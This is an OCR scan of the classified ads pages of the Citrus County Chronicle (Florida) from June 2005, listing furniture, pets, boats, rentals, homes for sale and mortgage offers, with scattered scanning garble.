AUCTION AB1667 AU2246 I 12% Buyers Premium 2% disc. cash/check Bead New Visco Memory Foam Mattress Sets. As low as $375. Non prorated Warr. (352) 597-3519 Delivery Available Bed: Pillow Top Mattress Sets. New in plastic. Warranty *Queen: $155 *King: $195 (352) 597-3112 Delivery Available BEDS BEDS BEDS Beautiful fact closeouts. Nat. Advertised Brands 50% off Local Sale Prces.Twin $78 Double $98-Queen $139- King $199. (352)795-6006 Bookcase Headboard Klngsize, dble shelves, oak, $150; Baker's Rack chrome, exc. cond. $75. (352) 628-2613 CANOPY FOR KINGSIZE BED, wrought black iron, top & bottom, used very little, $100 or best offer Floral City CHINA CABINET Warm cherry color, 1920's. $560, (352) 382-1162 CHINA CABINET, 50" wide, glass doors on top, doors on bottom, great condition, $350 (352) 637-6952 COMPUTER ARMOIRE Cherry. Crown molding. Very good condition. $180. (352) 746-5093 or 697-2441 COMPUTER complete with 15" monitor and desk $85. KITCHEN TABLE with 4 chairs, $45 (352) 860-2347 CORNER DESK & PRINTER storage cabinet $135. Rattan and Glasstop end table, 22"Wx28"L x21"H, $50. (352) 794-0278 COUCH w/matching chair, patchwork earthtone colors. Like new cond. $300 (352) 564-0823 CRAFTMATIC LIKE NEW Single bed, $550. (352) 637-6370 DINETTE SET w/2 leafs & 5 chairs $50 OBO; WOW! If really pays to work for the C C I T R U S COUNTY T CCH ONICLE ' :, l. iihke t,,talk t"), ,:u .'.' ". l. i tritonler :er:le rt .-rirq1 r. Citrus County Chronicle, ---. in t. r more than trariportatiorn e at / I-asr 18 rears olD Oan D-e erious Obout - wo:rking earl, ".' rrmorning hours seven f - doays a week. If this soundslike a / $O Ousif ehltslls ( opportunit-56 that's Cali v ,p- rignht focr you coll l fOr . the Chronicle at E 1. 1-352-563-3282. '^\,. x oilK^ )NIE www^chroniceonline.c 1 WEDNESDAY, JUNE 1, 2005 9C CYI--oGeneral c= Help General c= Help ZA General .n c= Help GREAT OPPORTUNITY TO BECOME A _Ia-- Entry Level Management .On the Job Training " Full Time Benefits 401K Apply in person Cc O CI IR S YCGU SwCHINIMCt 1624 N. Meadowcrest Blvd. *Crystal River, Florida 34429 I.r AhL Dk. Oak China Closet, $350; Walnut coffee table, end tables & lamps, $30. (352) 489-5884, after 9. Dresser, solid 64" wide, w/9 drawers, $105. Privacy Screen/ Room divider, $40. (352) 527-9597 DRESSER, solid walnut, 72Lx30Hx17D $195 0BO; Dining Table w/leaf 60x40, walnut top $175 OBO (352) 637-5058/light trim, $50; (352) 746-1012 LIGHT OAK DINETTE SET, table, 2 leafs, 4 chairs, 2 are arm chairs, exc. cond. REAL CHERRYWOOD double bed frame, headboard, footboard, $150 for all obo Between 8 & 11 AM and after 8PM (352) 637-4505 Memory Foam Mattress Set, queen size, like new, $400/obo; 4 Poster Carved Oak queen size bed, beautiful, $500/obo. (352) 341-0923 MOVING SALE Furn., odds & ends Leave message (352) 344-0054 Must See to Believe Creamy Ivory Sofa & Loveseat, beautiful cond. Will go nice w/any color carpets. $525. (352) 382-5301 Preowned Mattress Sets from Twin $30; Full $40 Qn $50; Kg $75. 628-0808 Queen Bedroom Set, solid oak, headboard, dresser, nightstand, standing ovalmirror, $400; (352) 746 1012 Queen Size Box Spring. Mattress, Head Boar- & Frame, Exc. Cond $150 cash. (352) 344-0424 QUEEN SLEEPER SOFA Schnadlg. Like new. Mostly Burgundy tapes- try. $200. 860-2161 RATTAN LIVING ROOM SOFA, mint cond., matching pcs. avail. must see, $500 obo (352) 527-3616 Serta Perfect Sleeper Pillow top mattress + boxspring (KING), $300; Magnetic Mattress Topper, $125; (Lecanto) (228) 547-9525 SOFA, 84" 3 cushions traditional plaid. Re- clt TABLE, oak rectangle w/6 Windsor oak chairs, $250. Three oak barstools, $125. (352) 746-2377 CRAFTSMAN Mower, 42" deck, In-tec 18.5 V-Twin, screw on oil filter, manual shift, exc. cond. $750 firm, 352-447-0704 FREE REMOVAL OF Mowers, motorcycles, Cars. ATV's, 628-2084 Beautiful Large Desert Rose In full bloom, in large decorative clay pot, $110. (352) 527-3007 -U BEVERLY HILLS Moving * 203 S. Washington St., (491 R, turn off Regina) 8am-5pm, June 1, 2, & 3. Furniture & HH items. CITRUS HILLS Fri, June 3,8-2. Golf clubs, Collect, tools. 505 E. Charleston Ct. INVERNESS Garage sale Thurs. & Fri. 9am-3pm 9417 E. Mlstwood Ct. "Big Easy" Gas Grill & tank, purchased Sept. 2004, $60 cash only 746-3411 BURN BARRELS * $8 Each 860-2545 Z rLlDue IDKnILJKO 42FT& 45FT, $4,000 for both (352) 637-6449 (352) 302-5543 (cell) 5 PC Kingsize Bedroom set, $250. Sears lawnmower, 6.75HP, like new. $150 (352) 341-3849 - 9 LB. HALON 1211 Fire extinguisher, $35 10 LB. DRY CHEMICAL fire extinguisher, $20 (352) 228-0304 '03 HONDA SCOOTER, 661 ml., $1,975 1143 Jazzy chair, black leather, like new, asking $2,750 (352) 422-3051 41X54 Textured Contemporary, attractively framed artwork, pink, teal & black. $75. Lecanto (228) 547-9525 5PC WALNUT BR SET $350. Walnut china cabinet, $125. Pecan credenza, $100 (352) 860-0123 ANTIQUE WOODEN ICE BOX, power tools, bird cages, nautical antiques, 352-860-0123 APPLIANCES, gas & elec. Also gas furnace. Enclosed trailer, 5x8, $975 obo,. 352-563-1216 BERKEL meat slicer model 827A, 5 mos. old, $600. (352) 726-0282 BRAND NEW 36" BROWN STORM DOOR Cost $300, sell for $175 (352) 382-2749 BRAND NEW 22-1/2" charcoal BBQ grill with tools & cover & charcoal, $50 (352) 527-2981 BUBBLE WRAP Perfect for moving & shipping. 16ft pcs., $1 a roll Retired Longaberger baskets $30-$75 (352) 726-0072 BUFFET, 2-pc, solid ma- ple $200. Stove, Frigid- aire, white, self-clean- Ing, extra burners, $75. Both very good condi- tion. (352) 489-2652 Bunk Bed Frame, Twin on Top, Futon sofa bed on bottom, black metal, no mattress. Upright Freezer, works great, $150 for both. (352) 527-4887 CARPET FACTORY Direct Restretch Clean * Repair Vinyl rile* Wood (352) 341-0909 (352) 637-2411 CERAMICS Ceramic molds and kiln for sale, Call 352-527-2938 GENERATOR 2500 watt Honda. (352) 795-9365 GOT STUFF? You Can We Haul CONSIDER IT DONE Moving.Cleanouts, & Handyman Service LUc. 99990000665 (352) 302.2902 Hamilton Beach Food Processor never used. $25. White- Westing- house Sandwich Maker new, $5. 352-746-1580 9a-8p Cash only. HEAVY DUTY TRAILER HITCH, came off 2002 Chevrolet 4x4, $50 WOODEN PICNIC Bench, HD, 1 yr. old, $50. (352) 341-0442 HOOVER LEGACY upright vacuum w/tools. PANASONIC upright vaccum, both highly rated & exc. $40 ea (352) 341-0791 I WILL REPLACE YOUR LIGHT OR FAN with a fan with light starting at $59.95 Llc#0256991 (352) 422-5000 I will sell your Items for you on JACOBSON CART, 4-cyl 9" Ford rear, hydraulic dump bed/winch, $3,000 obo (352) 302-7456 JAPANESE CALENDARS 1991 & 1995 Signed, $110 each. (352) 382-1162 JEEP electric, child's. Runs great $80 Dog House, Irg, Igloo $40 (352) 726-4304 Kenmore Canister Vac. - older but goodle, $25. Panasonic Portable tape recorder/player $10. (352) 746-1580 9a-8p Cash only. LINKS POINT 9100 WIRELESS CREDIT CARD MACHINE, also online, excellent for shows, Paid $2,500 new, asking $800obo (352) 425-2869 MICROWAVE small counter top model $25 4 MATCHING FRAME pictures of the Seasons, complete set, $40 (352) 228-0304 Mr Coffee, 8-cup, white, $20; Glass top patio table 70x41, $25; (352) 746-1580 9a-8p Cash only. NEED RELIEF? Would you like me to give you money for -your equity and pay off your mortgage? Also buying mobiles, houses & land contracts. Call Fred Farnsworth (352) 726-9369. Same address & phone number last 31 years z Copyrighted Material: " -Syndicated iCntenLt- -" rvabf * Advertise Here for less than you think!!! Call Today! 563-5966 iAw 1OC WEDNESDAY, 0CA Pfaltzgraff Village Pattern service for 12 and many extras. $105. (352) 382-1162 Portable Generator 4000watt, 120/240volts, Generac $399. (352) 795-0872 available.352-302-3363 TYPEWRITER IBM Selectric III, with 15'2" carriage & mobile stand. Excel. cond. $130 (352) 382-9033 YELLOW TONE COUCH & loveseat, $100 Living rm chairs, & end tables,)A447-1157 WALKER, Like new, $15 Wheelchair, like new, $125 (352) 344-5317, after 5pm 4 STRING HARMONY TENOR BANJO 1960 vintage. Great shape, $125. (352) 746-4063 Discovery II Organ by Estey, nice smaller unit/auto rythyms etc. $300. (352) 382-2444 LESSONS: Piano, Guitar, etc. Crystal River Music. 2520 N. Turkey Oak Dr. (352) 563-2234 Cobra SSI Irons, 4 SW, grafltte, $295. Wilson Fat Shaft Deep red Irons steel, 3-pItch- Ing wedge, $175. (352) 860-0048 MOSSBERG-NEW HAVEN 410 shotgun with laser site & carrying case, $200. (352) 228-0304 POOL TABLE 8ft. l- Italian Slate, leather pockets, Life Time Warranty,. New in crate $1,445. (352) 398-7202 Delivery & Set Up Available TRAMPOLINE Like new, $100/oboa (352) 621-0195 or (352) 228-9790 3 SECTIONS HOUSE TRAILER FRAME 3 House Trailer Axles $150, must take all, (352) 746-9067 6 x12 Steel box dump Trailer, 2 axles, I brake, 6 ply tires, spare, new paint, good shape, $2,150. (352) 563-2583 10X20 TRAILER. Tandem wheel cargo trailer, electric brakes, like new, used 5 times, $4200 or best offer. 352-422-5766 BUY, SELL, TRADE, REPAIR, PARTS. Hwy 44 & 486 PREDATOR EAGLE covered. Like new 16'x7' lawn ready. Lots of extras. Tool box, tie downs, etc. $4,950 Firm Day 352-726-4217 Even. 352-344-2429 UTILITY TRAILER 4'X8' 2FT walls, all new pressure treated wood, new 12" 6 ply tires, tilts to ground level, $350 firm (352) 860-1097 Bracelets, 2 14K gold, 11 grams and 17 grams $160 each. (352) 382-1162 NOTICE Pets for Sale In the State of Florida per stature 828.29 all dogs or cats offered for sale are required to be at least 8 weeks of age with a health certificate per Florida Statute. 2 F, Red Miniature LH Dachshunds, 8 wks, ready to go, $400 ea. (352) 341-1663 Lv. msg. 4 MO. OLD F, AKC, German Shepherd, bik/tan. All shots and good with kids. $400 (352) 726-1983 ADOPT-A-THON 6/11. Cats & kittens, all kinds. Completely vetted. $50 to $125. (352) 476-6832 AKC BEAGLE PUPS Trn-colored, health cert., 3 F, 1 M, born 3/27, $300 each (352) 621-3251 BABY COCKATIELS $35 (352) 726-7971 CERTIFIED DOG TRAINER Group & individual sessions. (352) 382-3936 Lv. msg. HAND-FED COCKATIELS Super sweet and friendly. 55.00-75.00 352-466-8193 Humanitarians of Florida Low Cost Spay & Neuter by Appt. Cat Neutered $15 Cat Spgyed $25 Doa Neutered & Saved start at $30 (352) 563-2370 IGUANA 15 YRS OLD, male, with complete cabinet cage, $75 (352) 794-7403 KITTENS & CATS Healthy All colors sizes breeds neutered spayed shots'tested $80-$125 352-476-6832 PITT BULL PUPPIES $200 to $250 Mother Red Nose, father Blue. Parents on premises. (352) 212-7708 ROTT WEILER Pups, 9wks Big German Block Heads, Champion lines, parents here w/ shots & papers $395-$495 726-5467 c= H rses 4 Yr. Old Arab/QH Geld loads, clips, rides, $1,300. 2 yr. old Filly Exc. build, and lines, $1,500. Owner Fin. Avail. In ivstok TIFTON 44 AND OAT hay. Net wrapped rolls. $50. (352) 726-4162 Leave Message 2 & 3 BEDROOM HOMES Pool,.wonderful neigh- borhood. Reasonable. (352) 447-2759 CRYSTAL RIVER 3 bdrm, C-H/A. Private lot. No pets. $450 mo. $800 sec. 352-795-2096 or 422-1658 cell HOMOSASSA 2/11/2 Quiet area, 1st, Ist, sec. No pets. 352-795-6862 INVERNESS Lakefront park. Fishing piers, affordable living 1 or 2 bdrms. Screen porches, appliances. Leeson's 352-637-4170 SEASONAL RENTALS 2 BR/furn. Utilities Incl. Nice clean, quiet park, No pets: (352) 564-0201 11111 $FUNDING NOW AVAILABLE through aided program for eager hard-working families with incomes from 19K-89K per year. Funda are limited, so 352-490-7420 $500 DOWN PAYMENT gets you Into 3,4,5 bed- room home on any land, anywhere Land/Home specialist on site everyday, Call for details 352-490-4403 1999 HOMES OF MERIT doublewlde 3/2, 28x54, like new cond. Move to your lot. Asking $39,500 or make offer. (352) 726-4505 2005 3BD/2BA on 2 ac. wooded lot. Turn-key deal. $995.00 down and $489.00 per mo. Hurry only 1 at this price 352-490-7420 2005 4BD/2BA on 1 ac. cleared lot. Turn-key deal. $995.00 down and $599.00 per mo. Call for detallsl 352-490-7420 CAN'T PROVE YOUR INCOME? Go thru our stated Income program no proof necessary. Guaranteed financing w/approved credit. Call for detallsl 352-490-7420 Job Transfer, "Must Sell!" New 3/2 on 3/4 Acre on Wildfire Lane Call: (352) 302-3126 MOBILE HOME 1982 Peachtree doublewide 28X60 good condition, all appliances 2 years old. $20,000 Buyer responsible for moving Contact Cathy 352-628-5172. of B M A I Y85B3EDIM/BT5 DOUBLEWIDE with 2 living quarters, like Duplex, past rental Income $800 mo. V2 Ac. Quiet area. Asking $55,000 For appt.v.Iv msg (352) 628-6621 3/2 Best Value in Town Nice. 1500 sq.ft. for ONLY $78,723. New roof. Fenced, 1/2 acre, trees, sprinklers, INVERNESS Mobile In 55+ Park, 3 BR, 1.5 bath. Furn, Fla, rm, carport, shed, bring your boat, lot rent $170/meo , all applearoup. FLORAL CITY Lakefront 1BR, Wkly/Mo No Pets. (352) 344-1025 INVERNESS 2 bedroom upper. All utilities Included & cable TV, Beautiful lake front view, $550 mo. A, special rate, laundry on premises Lake Lucy Apartments (352) 249-0848 leave message and phone number 1.9 approx 450sq.ft. 2 rm. office. $700/mo. (352) 628-7639 CITRUS HILLS LG. 2/2 Country Club, carport, vaulted ceilings, tennis, golf, htd pool, $725/mo. (561) 213-8229 - endoN [ci nfor Ret^^ CITRUS HILLS Townhouse 2/2V2, Furn. Avail. May 26th 352-746-0008 INVERNESS 1/1, Royal Oaks all amenities, Including pool & club house. $595 mo., 1st, last, sec. Mike Smallridge 302-7406 SMW 2/2/1, lawn care, garbage Incl'd 1st lst sec. 212-2077 HOMOSASSA/ CRYSTAL RIVER 2/1, with W/D hookup, CHA, wir/garbage Incl. $500mo., 1st, Last & sec. No pets. 352-465-2797 S ESf-W)I HERNANDO Beautiful waterfront cottages. Boat dock, fishing, water sports, on chain of lakes. Hurryl $495 mo. Includes utill (352) 860-1584 VALUE INN HERNANDO Totally Renovated, Efficiencies, Heated Pool & Hot tub, Jacuzzl, C/A starting at $39. daily, $240. wkly. Short stay $27. (352) 726-4744 SDaily/Weekly w Monthly w Efficiency $600-$1800/mo. Maintenance Services Available Assurance Property Management 352-726-06621 CITRUS COUNTY Water front & Non- Water Front Rentals Ranging from $1000- $2200. mo. Contact Kristi (352),634-0129 CITRUS SPRINGS 2/1 '., clean, quiet area $575.(352) 302-9053 Homes from S1.99/mol 4% down. 30 yrs. @5.5% 1-3 bdrm. HUDI Listings 800-749-8124 Ext F012 INVERNESS NEW, 2/2/1 NEAR PUBLIC, NO SMOKING/ PETS $750mo. 344-2500 SUGARMILL WOODS Home & Villa Rentals Call 1-800-SMW-1980 or BEVERLY HILLS 8 N. TylerSt. 2/1 furn. 1st, last, security. $650 mo. 727-424-5597 BEVERLY HILLS 2/1/1 Sunroom can be 3rd BR + scr porch, small pets ok, $725mo (352) 527-3533 BEVERLY HILLS Oakwood Village 2+/2/2. close to golf. 352-564-6999 CITRUS HILLS 2/1 Fenced, $575,1st, last, sec. 352-586-9799 CITRUS HILLS 3/2/2 Terra Vista Dunnellon 3 & 4 Bdrm. Homes on Rainbow Rvr. or Lake Rouseau. Furn. 2 bdrms. also avail, short term Ruth Bacon 9-2 Mon Fri Only (352) 489-4949 Larson Realty DUNNELLON 3/2/2 Rainbow Springs Woodlands, newly renovated $950 239-405-3256 or 522-0134 HERNANDO Large 3/3, fenced yard, water access, pets allowed, $950/mo. 1st, last, sec. (352) 422-8656 Magnolia Village Lecanto, FL Grand Openingl I "6etHue = Unurihe HOMOSASSA 6392 Grant. Cute 2 bdrm, $575 + No pets (352) 628-0033 INVERNESS 3/2/2 home. Lake area. $750. (352) 341-1142 INVERNESS Brand new 3/2, double garage, $900 mo. (352) 302-7428 INVERNESS Highlands 3/2/2. w/ pool, W/D, $1,000. mo. everything updated. Call (352) 746-5969 LAKE FRONT INVERNESS 3/2/2 Spac, scored porch., no pets. $800. mo. 908-322-6529 OAKRIDGE Brand new 3/2/2, avail. 7/1 (352) 746-0658 A INVERNESS A ON GOLF COURSE w/ country club privileges 3000 sq ft, 3/2/2, $800 mo. No pets 908-322-6529 PINE RIDGE 3/2/2 Great home on wooded lot. Avail 7/1 $1250/mo. 352-746-5614 Pine Ridge Estates 2/2/2 w/ pool $1,100. mo Please Call: (352) 341-3330 For more info. or visit the web at: giftisvillagos rentals.com QUAIL RUN Brand New 3/2/2, on cul de sac. No smok- ing/pets $1,100 mo. Incl. cable, comm. pool & clubhouse, etc. Aval, July 1 352 697-0744 SUGARMILL WOODS 2 & 3 Bdrms. Starting at $800 SMW Sales (352) 382-2244 CHASSAHOWITZKA Imac. 2/2 $750. River Unks Realty 628-1616/800-488-5184 CHASSAHOWITZKA Furnished mobile on canal. Boat slip. $800 (352) 382-1000 CRYSTAL RIVER 1/1 furn., waterfront, Incl. utl. Long/short term, near Kings Bay $850 mo. 352-795-2181 CRYSTAL RIVER 2/1V2 twnhse; turn. W/D; TV; no pets, $1000 mo. Mary D. Fletcher, Owner /Realtor, 352-332-3000 U.* V Rooms INVERNESS 7314 Gospel Island Rd. Y 1lot n|neri, NMOPUL iOUSINT OPPORTUNITY Don't miss this opportunity to have your business just 3 blocks from Citrus Memorial Hospital and just 2 blocks from the courthouse. Excellent investment possibilities! Building #1: 206 S. Pine Ave. This building is Building #2: 204 S. Pine Ave. This building used for office space and has approximately has been used for storage and has 800 sq. ft. of air-conditioned space, plus an approximately 1,700 sq. ft. under roof. Built In attached carport. Built In 1940. 1930. The land and the 2 buildings will be sold as a package. Both pieces are zoned RO/RP Preview will be at 9:30 am and the real estate will be sold on site - 206 S. Pine Ave. Ed .u Messer, 'Your Favorite Auctioneers S , I-,- __ M AJ= anzeu- "MR CITRUS COUNTY I ALAN NUSSO BROKER Associate Real Estate Sales Exit Realty Leaders (352) 422-6956 ZERO DOWN LOANS Homes priced from $80,000 to $450,000 In your area qualify. Consumer Hotline tells how you can buy Sa home with up to 100% Financing. FREE Prerecorded message, call: 1-800-233-9558 xl005 FL Household Mtg Corp. A Mtg Brkr Business Absolute Auction Inv. Commercial Prty. edandsuemesser.com Ed Messer, Lic. Real Estate Broker -E ACROPOLIS MORTGAGE *Good Credit *Bad Credit/No Credit *Lower Rates *Purchase/ Refinance *Fast Closings Free Call 888-443-4733 SOLUTIONS FOR DAY'S HOMEBUYER FAMILY FIRST MORTGAGE Competitive Ratesl! Fast Pro-Approvals By Phone. T- Slow Credit Ok. Purchase/Reft. FHA, VA, and Conventional. Down Payment Assistance. ,- Mobile Homes Call for Detallsl Tim or Candy (352) 563-2661 LiUc. Mortgage Lender 3/2 Home & a Duplex, CBS. Crystal River Reduced to $185,000 before Realtor gets It (352) 228-7719 C/B/S DUPLEXES 4 units, strong cash flow, E. Inverness. $220,000 (352) 726-1909 Opportunity knocksll HURRYII Citrus Springs Vacant Lots, Doubles, oversized well located. From $28,000. (352) 477-0352 "PRICED TO SELL" Relocating $179,900 Immaculate 2004, 4/2/2 (352) 489-8234 Cell (603) 785-7338. i-! '04 New 3/2/2 Concrete Stucco Homes 1806 sq. ft. own at $895. down and $625. mo. No credit needed 1-800-350-8532! Call Diana Wlls A Pine Ridge Resident REALTOR 352-422-0540 dwillmsl @tampa bay.rr.com Craven Realty, Inc. 352-726-1515 Owne, pond/waterfall/ Jacuzzi on premlum146-1888/lott/2y2/3. 2 STORY MARONDA BAYBURY Large screened porch 3-months old, many extras/upgrades. $264,900.(352) 465-5543 House' call Cindy Bixler REALTOR 352-613-6136 cblxerl5@tampa Craven Realty, Inc. 352-726-1515 -I CITRUS REALTY GROUP 3.9% Listing Full Service/MLS Why Pay More??? No Hidden Fees 20+Yrs. Experience Call & Compare $150+Mllllon SOLD!I! Please Call for Details, Listings & Home Market Analysis RON& KARNA NEITZ BROKERS/REALTORS CITRUS REALTY GROUP (352)795-0060.. 3/2/2 CELINAHILLS 2100 sf on 1/2 acre wooded lot. Cen, Vac, screened lanail. New carpet and paint. 352-341-5162 $209,900. A beauty that has It All 3/2/3, solar heated pool, jetted tub, 2127 sf., blt. 1996, 1 acre, 4 sliders open to huge la- nal, gas FP, a must see, $289,900. 352-220-3897 CANTERBURY LAKE ESTATES 3/2/2, on cul-de-sac Near pool & clubhouse $217,900. 540-888-4889 CITRUS REALTY GROUP 3.9% Listing Full Service/MLS Why Pay More??? No Hidden Fees 20+Yrs. Experience Call & Compare $150+Milllon SOLD!lI Please Call for Details, Listings & Home Market Analysis RON & KARNA NEITZ BROKERS/REALTORS CITRUS REALTY GROUP (352)795-0060. '04 New 3/2/2 Concrete Studco Homes 1806 sq. ft. own at $895. down & $625. mo. No credit needed 1-800-350-8532 2/2/2+, 1700 SQ.FT. New carpet, 2 Florida rooms, new 18' above ground pool w/fenced In backyard. Tree house, sand box, front great neighborhood. Call (352) 746-9890IIll Please Call for Details, Listings & Home Market Analysis RON & KARNA NEITZ BROKERS/REALTORS CITRUS REALTY GROUP (352)795-0060. Lecanto^ ND Homesa^ 3/1 /attached JACKIE WATSON Hampton Square Realty, Inc. Let us give you a helping hand 352-746-1888 1-800-522-1882 SELLS YOUR HOUSE in The Citrus County Chronicle Classifieds Only the Citrus County Chronicle can give you all these benefits ' * Your person-lo-person ad will reach the largest audience * Your ad goes on line to the largest database of homes for sale * Change the price of your home as often as you like * Our Real Estate Classifieds are categorized for case of readership * Your ads consists of the make and 6 lines of description for $49.50 * Your ad will be scheduled thirty days and appear in the Citrus County Chronicle and online each and every day. * Get your ad in right away! 563-5966 CHOpiE CITRUS COUNTY (FL) CHRONICLE I CLASSIFIED CANTERBURY LAKE ESTATES Reducedl Pool home, 3/2/2, gated community. Social membership to Citrus Hills Golf & Country Club. Screened In lanal, Irg. tiled floors, gas ap- pliances, Irg. breakfast nook, Security system, many more upgrades $267,900 (352) 344-5646. ll I WWill Sell Yu Moil CITRUS COUNTY (FL) CHRONICLE HOME FOR SALE On Your Lot, $92,900. 3/2/1 w/ Laundry Atkinson Construction 352-637-4138 Uc.# CBC059685 Marilyn Booth, GRI 23 years of experience "I LOVE TO MAKE HOUSE-CALLS" J.W. Morton, R.E., Inc 726-6668 637-4904 SELL YOUR HOME! Ploca a Chronicle Classiled ad 6 lines, 30 days $49.50 Can 726-1441 563-5966 Non-Relundable Private Party Only (Some Pesmrictions May apply) SEVEN LAKES REDUCED 4 Bd/2Y2 Ba. .64 acres, comp. re- mod. Move In ready, Moving $234,900. (352) 637-6592, after 6pm (352) 726-7505. WEST HIGHLANDS, 3/2/2 pool, extra building lot, stockade fencing. Possible owner finance A must see $225,000 S726-2069352-279-2772 Ucensed R.E. Broker r Waterfront, Golf Investment, Vacant Land and Relocation a Citrus, Marion and Hernando a Call for free CMA Bemadette Carithers Realtor (R) 352-628-2954 352-628-5500 bcarither@aol.com "Here to Help you Through the Process" Park Like 8 AC. M or L 2002 Palm Harbor 4+/ 2Y2/2. Close to Rock Crusher Canyon. $199,000 for fast sale 352-228-9790 Steve & Joyce Johnson Realtors Johnson & Johnson Team Call us for all your real estate needs. Investors, ask about tax-deferred exchanges. ERA American Realty and Investments (352) 795-3144 3/2/1 On 1 ac. w/pool, shed, Fla. rm. 1996 Block Home. Great starter or retirement home. $150,000 Lv, msg. (352) 621-3252 3/2/4 fireplace, large great rm. 2,050 sq. ft. SSun porch, fans, 1 acre, never flooded. Cathe- dral ceiling & fruit trees. $174,900. 352-564-9698 Ucensed R.E. Broker *A Waterfront, Golf Investment, Vacant Land and Relocation t Citrus, Marion and Hernando t Call for free CMA Bernadette Carithers Realtor (R) 352-628-2954 352-628-5500 bcarther@aol.com "Here to Help you Through the Process" Must See to Appreciate 2/2/1, split floor plan, Irg fenced yard & Florida room, $129,900 (352) 628-2685 RIVERHAVEN.Only 2 years old, custom built, 3/2/2. Screened porch, beautifully landscaped. A must see @ $234,900 (352)621-4661rsonlmacircle .freeservers.com WAYNE CORM Realty Leaders (352) 422-6956 ARBOR LAKES. Elegant 3/2, tile floors, upgrades galore; lanai, Inground spa, fenced back yard; fabulous rear view; club house, pool, dock, $225,000; 352-726-6963. LEILA K. WOOD, GRI PHYLLIS STRICKLAND Buying or Selling Multimillion Dollar Producer EXIT REALTY LEADERS 352-613-3503 9-1 Here To Help! Visit: wa necormier.com (352) 382-4500 (352) 422-0751 Gate House Real min. - Leading Indep. Real Estate Comp. ar Citrus, Marion, Pasco and Hernan- do e- Waterfront, Golf, Investment, Farms & Relocation ,- Excep. People. Except'nal Properties Corporate Office 352-628-5500 properties ?? No down payment housing available. Plantation Realty, Inc. MARY WAGNER Realtor/Llc. Mtg. Banker Cell 697-0435 HOME FOR SALE On Your Lot, $92,900. 3/2/1, w/ Laundry Atkinson Construction 352-637-4138 LIc.# CBCO59685brlar II Townhouse 2/22, carport, fully furnished. Move-In condition, $134,900. (352) 564-9498 C/B/S DUPLEXES 4 units, strong cash flow, E. Inverness. $220,000 (352) 726-1909 Opportunity knocks! HURRYI!i WAYNE CORMIER WE BUY HOUSES & LOTS Any Area or Cond. 1-800-884-1282 or 352-257-1202 HOUSE NEEDED disabled widow w/$1OK down,' Owner fin. 12 mo $55- $75K 860-2584 563-4169 1 ACRE, one block off 491 on Mustang, left on Mesa Verde left on Boxelder. CITRUS HILLS 1 acre, 218x200 lot in Emerald Estates on Easy St. $69,900. 422-7836 CITRUS SPRINGS 1/4 Acre Building Lot, Santos & Bee Way $29,995. (352) 489-9193 HIGH & DRY, 80x125, 6490 N Bill Terr, $29,900. (352) 563-2558 or (352) 422-4824. LECANTO Affordable 5 ac. High, Dry, multi zon- ing. Off So Scarboro on Axis Pt. Newly surveyed, $90K (561) 588-7868 PINE RIDGE ESTATES 1 2 acre corner lot Very wooded. On Princewood Street $101K Tim, (303) 960-8453 PINE RIDGE ESTATES 2.75 ac. Mustang Blvd. Backs up to equestrian trl. $199,900. (352) 465-0642/ 813-924-3717 PINE RIDGE, corner lot on horse trail. 1+ acres, level & well treed, $105,000., 352-527-9876 WANT A BETTER RETURN ON YOUR MONEY? CONTACT US. 10.8 Acres on HWY 19, Great local, N. of Inglis, beauty. Minutes to gulf, fishing/boating. $180,000. 813-300-9682 1/2 ACRE, Celina Hills next to Citrus Hills. Very nice neighborhood, $59,000. 795-6226 days. (352) 527-0648 eves Building Lots In Inverness Highlands, River Lakes & , Crystal River. From $16,900. Call Ted at (772) 321-5002 Florida Landsource Inc CITRUS HILLS & PINE RIDGE, prIme/level building lots, (352) 427-4298 CITRUS SPRINGS Beautiful bidg. lots. $29,500. Golf crs. & VYac also, (352) 527-1765 Citrus Springs Vacant Lots, Doubles, oversized well located. From $28,000. (352) 477-0352 HAMPTON POINT Floral City, 1,1/2 acre + or-, watervlew lot, nicely wooded, in exclusive homes only, deed restricted. Across road from Lake Tsala Apopka. $89,500. (352) 637-0942 PINERIDGE 3 LOTS available 1AC, 1'/ AC, 2/4 AC. (352) 746-1012 PRESIDENTIAL ESTATES beautiful homesite, heavily wooded. 1 acre mol $68,500 ea. Principals ONLY (352) 400-0489 WAYNE CORMIER CLASSIC TENNESSEE MOUNTAIN PROPERTY 12.5 Wooded Acres, Sequatchle Cty., $75,000 Owner/Agent (352) 302-4046 shaft, Evinrude or John- son. 352-382-3132 4hp YAMAHA, like new, $475. 6HP Suzuki, like new $575. Or best offers. (352) 795-4095 Ford V-8 transmission, rebuilt, $300. Ford 4 cylinder transmission, $200. (352) 746-7908 0000 THREE RIVERS MARINE W$line tilt trailer, 350 Chevy eng.Good cond $4000. (352) 489-5239 ARROWGLASS 1975, 16FT with trailer 115HP, runs great, $2,000 obo (352) 465-6340 or 669-1663 BAHA 1995 17/2', 125 Merc. Bimini top, very fast. Best deal around $4500 (352) 795-0417 BASS TRACKER 16 Ft., 1986, 35HP Merc w/t/trim, new batteries & carpet. $2,650 (352) 726-7473 BASS TRACKER 2002, Pro Team 175 XT Exc. cond. 40HP 4 stroke Mercury. Boat cover. Less than 15 hrs. Best offer, 352-527-8499 BOSTON WHALER 1999, 16', Dountlessw/ 90hp Mercury and Performance trailer, exc. cond, great for skiing & fishing $14,500 (352) 538-6313 or (352) 333-8548 CASH$CASH$CASH$ We Buy Boats Motors & Trallers! (352)795-9995 (352)400-0114 CASH$CASH$CASH DURACRAFT 16'5" flats boat, 2003 w/tunnel hull, trailer, 60HP Yamaha w/38 hrs, Garaged, New Cond, $11,000. (352) 382-2254 or (813) 713-0616 HURRICANE 2002, FD196 Deck boat w/l100 4-stroke Yamaha 108hrs, all factory serv- iced. Fishing & Ski & Coast Guard Safety pkgs. w/changing rm. & head, plus full boat and Individual seat covers. $15,750. (352) 628-3274 HURRICANE 2004 Fundeck GS 170, 115 HP FIFTH WHEEL 2005, RVIA Award. 42', 4 slides, 2 bedroom, set up for full timers $32,500 SIGNATURE 1996, fifth wheel, 35', 2 slide-outs, all options. Exc. cond. $14,500. Homosassa 352-453-6158 VANAGAN '85 Volkswagen, pop up, stove, refrig,, A/C & D/C, gas, sleeps 4, new brakes, Recent engine rebuilt, very good cond $5,300 obo (352) 746-4670 634.4019 cell HURRICANE DECK BOATS 13 Models 17' to 26' SWEETWATER PONTOONS 15 Models 16' to 26' CITRUS COUNTY'S BEST SERVICE AND SELECTION Crystal River Marine (352) 795-2597 Open 7 Days LANDAU 2000, 20' Pontoon w/ 50hp Yamaha, Alum. Deck, Depth Finder, $10,900 (352) 621-1934 MALIBU 14ft. V Hull 25H elect. start, low hrs. great boat $2,200. (352) 